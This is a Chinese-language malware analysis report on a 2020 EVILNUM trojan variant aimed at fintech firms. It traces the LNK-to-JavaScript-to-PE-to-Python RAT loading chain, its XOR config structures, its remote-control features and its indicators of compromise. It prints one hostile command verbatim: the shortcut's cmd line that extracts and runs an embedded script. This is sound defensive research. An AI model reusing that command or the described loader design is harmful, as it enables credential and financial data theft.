金融木马EVILNUM再次变种,当心隐私信息及财产被盗取!

2020-07-22 来源:安全豹作者:HR

概述

近期金山毒霸安全实验室监控到金融木马EVILNUM新变种。样本携带的诱饵PDF由英国能源公司first-utility的PDF账单、银行卡、驾照图片组成,如下图所示。通过诱饵文件内容进行关联,发现此批样本创建时间均为2018-02-13 07:29:00,出现时间集中在2020年4月至今,早期版本攻击类型LNK+JSRAT方式,从5月开始出现LNK+JS+PE+PYTHONRAT的攻击方式。通过对其JSLoader关联分析,确定其为EVILNUM新变种。


image-20200720104325320

演变历程:

根据情报,EVILNUM最早可以追溯到2018年。其显著特征是使用LNK文件进行攻击,末端载荷多采用脚本实现,通过JS+外部工具的方式窃取情报,其脚本可能会加载多家恶意软件即服务(MaaS)提供商的后门程序以及c#恶意组件,过去其攻击流程中的C2均采用云盘、社交网站、图床一类的网站作为信息存储,此次捕获的样本采用了一些比较有迷惑性的域名,如CRM、VOIP等服务类关键字域名进行伪装。

传播方式:

样本通过鱼叉式电子邮件发送,其中包含指向云盘上托管的ZIP文件的链接,压缩文件内包含LNK攻击文件,其诱饵文件为金融机构开设新帐户时需要提供的截图文件。

攻击目标:

Evilnum集团的主要目标是金融技术公司,监视并窃取目标公司及其客户的财务信息。重点窃取金融文档和凭据:

  • 1.客户清单,投资和交易操作的电子表格和文档
  • 2.内部文档
  • 3.交易软件/平台的软件许可和凭证
  • 4.浏览器的Cookies
  • 5.邮件凭证
  • 6.信用卡信息和身份证明文件

正文

该样本目前更新活跃,其Loader和攻击载荷也在不断迭代,行文分析样本为7月最新。样本伪装成PDF图标,实则为快捷方式LNK文件,运行后通过解析LNK自身携带的数据,释放出账单PDF并打开以迷惑用户,同时释放出伪装成java程序的ddpp.exe并创建计划任务,待计划任务启动ddpp.exe后样本通过对自身携带的部分数据进行解密执行后与crm-domain.net通讯,通过云控手段获取下一步操作,现阶段取得得数据经过解密执行后释放出fplayer.exe该文件伪装成NVDIA驱动相关程序,通过计划任务持久化,fplayer.exe经过多次解密最终与云端通讯,现阶段获取得数据经过解密后其行为为内存加载exe操作,其加载程序为py2exe打包得python程序,通过对该程序解包、反混淆、反编译,最终得到其python源码为远控程序。

image-20200709131820625

木马文件落地部分攻击流程如上图所示,木马实际为伪装成PDF的LNK文件,攻击流程采用多段式加载,多种对抗,包含多个云控接口,可根据云控灵活配置升级,行文将通过四部分进行叙述。


一、LNK执行阶段

C:\Windows\System32\cmd.exe /c path=%windir%\system32&move "VerificationDocuments.pdf.lnk" "%tmp%\1.lnk"&type "%tmp%\1.lnk"|find "END2">"%tmp%\0.js"&wscript "%tmp%\0.js"​

LNK启动后将自身移动到temp目录下1.lnk,此后通过标记"END2"提取出附加的JS脚本并执行。JS脚本运行后,获取APPDATA路径,拼凑释放路径,如图1。image-20200709141501326

图1

从1.LNK读取偏移2505-684612位置的PDF文件释放,并运行,以达到伪装效果。如图2。

image-20200709141944310

图2

将自身拷贝到%appdata%\Microsoft\Credentials\MediaPlayer\VideoManager\media.js再次运行,通过判断脚本所在目录决定是否释放PE,条件满足则读取1.lnk偏移687117-262144之间的数据释放PE文件。并为其创建计划任务。如图3。

image-20200709145228717

图3

释放PE后,脚本对LNK、JS、相关工作目录进行自删除,至此JS执行完毕,LNK阶段工作执行完毕。


二、ddpp.exe执行阶段

ddpp.exe在当前执行阶段起升级部署作用,在分析时云控代码执行的行为为部署fplayer.exe,其内部代码经过充分伪装,静态查看与JAVA进程非常接近,内部API调用采用底层调用方式,对抗API断点,长时间Sleep对抗沙箱行为检测。

ddpp启动后读取自身偏移0x9526处的数据,进行解密,解密后数据如图4。

image-20200709154850529

图4

由于其解密方式与下文fplayer.exe中代码解密方式一致,限于篇幅,故此处暂略过解密过程,下文叙述其解密规则。解密完成后将代码按照其配置分段拷贝到堆空间指定位置处,之后对地址进行重定位,计算API地址填充修复,最终创建线程执行解密后的代码。如图5。

image-20200709155911852

图5

代码执行后,获取命令行参数,根据参数构建通讯GET请求。通过GET方式获取云控数据。如图6。

image-20200709163841376

图6

通过加载云控逻辑,释放fplayer.exe到%appdata%\Microsoft\Media Player\Player\下,该程序与ddpp.exe类似伪装成英伟达驱动相关程序,其实际工作内容仍然靠云控下发。图7为文件释放并为其创建计划任务启动。

image-20200709171933763

图7

至此ddpp.exe云控代码执行完成后退出,fplayer最终承载了工作任务的加载,ddpp现阶段云控下发功能只是部署升级,整体流程如图8。

image-20200709174619269

图8


三、fplayer.exe执行阶段

fplayer.exe与ddpp.exe有诸多相似之处,上文未提及配置信息数据结构,将在此节叙述。相比ddpp,fplayer请求接口有变更,参数更少。其作用为整个攻击链条的末端载体。fplayer启动后读取自身0x9b偏移处信息,解密并将其按配置向堆空间中部署,如图9。

image-20200709193438915

图9

其配置头部结构如下:

struct EncryptInfo
{
    byte xorKeyLength;
    char keyTable[xorKeyLength];
    DWORD dataSize;
    char dataBegin[dataSize];
}

其后续代码根据key表对data进行循环异或解密数据,程序中字符串相关解密操作也遵循此方式。数据起始位置记录着相关代码和函数信息,结构如下:

image-20200709194837342

struct DataInfo
 {
     byte unKnown;
     DWORD codeImageBase;
     DWORD unKnown1;
     DWORD codeEpOffset;
     DWORD codeTableCount;
     DWORD codeInfoOffset1;
     DWORD codeInfoOffset2;
     ...
 }

转到codeInfo结构,其配置对应的是需要内存执行的代码信息。如下图,结构如下:

image-20200709200245910

 struct CodeInfo
 {
     byte  index;
     DWORD codeCopyOffset
     DWORD codeSize;
     DWORD unKnown;
     char codeBegin[codeSize];
 }

与ddpp类似在堆中指定位置部署好代码之后,创建线程执行堆代码。相似过程不在赘述。以上配置结构适用于云端下发配置信息结构。堆空间代码执行后,获取命令行参数,构建GET请求,获取最新云端指令。如图10。

image-20200709201723631

图10

通过解析云端配置,最终加载内存PE,如图11。该PE为py2exe打包的python程序,其字节码进行了混淆,对抗反编译,通过反混淆,最终获得其携带脚本,下文将对py2exe程序展开分析。

image-20200709203127503

图11


四、PythonRat加载执行阶段

通过dump内存获取其原始加载程序,经过分析其为py2exe打包的python程序,通过对其资源处理获取被打包的pyc脚本,经过反混淆处理后,反编译后如图12。

image-20200716153156448

图12

脚本通过zlib和base64处理后进一步执行,通过进一步分析,此处为一python包装器,其核心功能为解析自身压缩数据,最终通过memimporter将main.pyc和其他依赖库加载在内存中执行。如图13、14。

image-20200716154357981

图13

image-20200716155001347

图14

至此到达核心工作流程,通过对memimporter相关数据反混淆、反编译,最终确定其核心流程为远控木马,木马与以下地址通讯,获取指令执行。如图15。

image-20200716160552195

图15

木马采用http协议通讯,具有截屏、命令执行、反向SSH Shell、进程操作、文件操作、注册表操作等功能。图16为远控简要工作流程。

image-20200716192916965

图16

下表为远控包含的部分工具类函数表,通过函数名称,不难看出,远控功能丰富,扩展性极强,拥有多种持久化方式和多种命令控制方式。

TIM截图20200722185924

总结

此EVILNUM变种木马,攻击流程采用多段式加载,多层次内存装载PE,包含多个云控接口,通过休眠、混淆、云端指令随机化等对抗分析查杀,作者精心构造了多个loader,甚至最终内存加载的py2exe启动后仍然还是内存加载pyc执行,可谓是煞费苦心,分析过程中木马成活跃状态,不断有新的C2加入,截止报告完成时间,有多个C2地址注册时间未超过一个月。其最终攻击载荷使用python开发,开发成本低,还会在一定程度上干扰溯源准确性,从反编译结果观察,部分功能尚未完善,仍在加入新功能。金山毒霸安全实验室提醒用户,不要点击来历不明的邮件、压缩包,从而可以降低用户隐私信息被盗取的风险。金山毒霸可以查杀此木马,当杀毒软件报毒时,切勿轻易点击放行,若怀疑误报,可向杀软工作人员核实后再运行。

TIM截图20200723145504

IOC

MD5

FC00819C4CDC8609313041CF345A7DCA

F7673B6855C72B780FDD863D098DA693

07717219943E911AC4CFB8E485A99CFB

ECDD7454EAE355012DFED03377D6D945

C2

hxxp://crm-domain[.]net

hxxp://leads-management[.]net

hxxp://telecomwl[.]com

hxxp://voipasst[.]com


参考

https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html

https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/